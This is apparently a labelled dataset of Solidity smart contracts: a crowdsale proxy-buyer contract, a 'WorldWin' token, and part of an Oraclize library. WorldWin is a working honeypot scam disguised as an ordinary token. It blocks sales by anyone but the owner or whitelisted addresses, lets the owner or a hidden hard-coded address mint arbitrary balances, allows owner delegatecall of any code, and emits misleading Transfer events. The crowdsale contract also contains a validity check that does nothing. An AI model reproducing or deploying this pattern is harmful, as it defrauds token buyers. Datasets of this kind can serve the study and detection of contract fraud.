event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract PreICOProxyBuyer is Ownable, Haltable, SafeMath {
uint public investorCount;
uint public weiRaised;
address[] public investors;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public weiMinimumLimit;
uint public weiMaximumLimit;
uint public weiCap;
uint public tokensBought;
uint public claimCount;
uint public totalClaimed;
bool public forcedRefund;
Crowdsale public crowdsale;
enum State{Unknown, Funding, Distributing, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refunded(address investor, uint value);
event TokensBoughts(uint count);
event Distributed(address investor, uint count);
function PreICOProxyBuyer(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit, uint _weiMaximumLimit, uint _weiCap) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
if(_weiMaximumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
weiMaximumLimit = _weiMaximumLimit;
weiCap = _weiCap;
freezeEndsAt = _freezeEndsAt;
}
function getToken() public constant returns(FractionalERC20) {
if(address(crowdsale) == 0) {
throw;
}
return crowdsale.token();
}
function invest(uint128 customerId) private {
if(getState() != State.Funding) throw;
if(msg.value == 0) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = safeAdd(balances[investor], msg.value);
if(balances[investor] < weiMinimumLimit || balances[investor] > weiMaximumLimit) {
throw;
}
if(!existing) {
investors.push(investor);
investorCount++;
}
weiRaised = safeAdd(weiRaised, msg.value);
if(weiRaised > weiCap) {
throw;
}
Invested(investor, msg.value, 0, customerId);
}
function buyWithCustomerId(uint128 customerId) public stopInEmergency payable {
invest(customerId);
}
function buy() public stopInEmergency payable {
invest(0x0);
}
function buyForEverybody() stopNonOwnersInEmergency public {
if(getState() != State.Funding) {
throw;
}
if(address(crowdsale) == 0) throw;
crowdsale.invest.value(weiRaised)(address(this));
tokensBought = getToken().balanceOf(address(this));
if(tokensBought == 0) {
throw;
}
TokensBoughts(tokensBought);
}
function getClaimAmount(address investor) public constant returns (uint) {
if(getState() != State.Distributing) {
throw;
}
return safeMul(balances[investor], tokensBought) / weiRaised;
}
function getClaimLeft(address investor) public constant returns (uint) {
return safeSub(getClaimAmount(investor), claimed[investor]);
}
function claimAll() {
claim(getClaimLeft(msg.sender));
}
function claim(uint amount) stopInEmergency {
address investor = msg.sender;
if(amount == 0) {
throw;
}
if(getClaimLeft(investor) < amount) {
throw;
}
if(claimed[investor] == 0) {
claimCount++;
}
claimed[investor] = safeAdd(claimed[investor], amount);
totalClaimed = safeAdd(totalClaimed, amount);
getToken().transfer(investor, amount);
Distributed(investor, amount);
}
function refund() stopInEmergency {
if(getState() != State.Refunding) throw;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!(investor.call.value(amount)())) throw;
Refunded(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
if(!crowdsale.isCrowdsale()) true;
}
function forceRefund() public onlyOwner {
forcedRefund = true;
}
function loadRefund() public payable {
if(getState() != State.Refunding) throw;
}
function getState() public returns(State) {
if (forcedRefund)
return State.Refunding;
if(tokensBought == 0) {
if(now >= freezeEndsAt) {
return State.Refunding;
} else {
return State.Funding;
}
} else {
return State.Distributing;
}
}
function isPresale() public constant returns (bool) {
return true;
}
function() payable {
throw;
}
} | 1 | 3,817 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract WorldWin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,974 |
pragma solidity 0.4.20;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
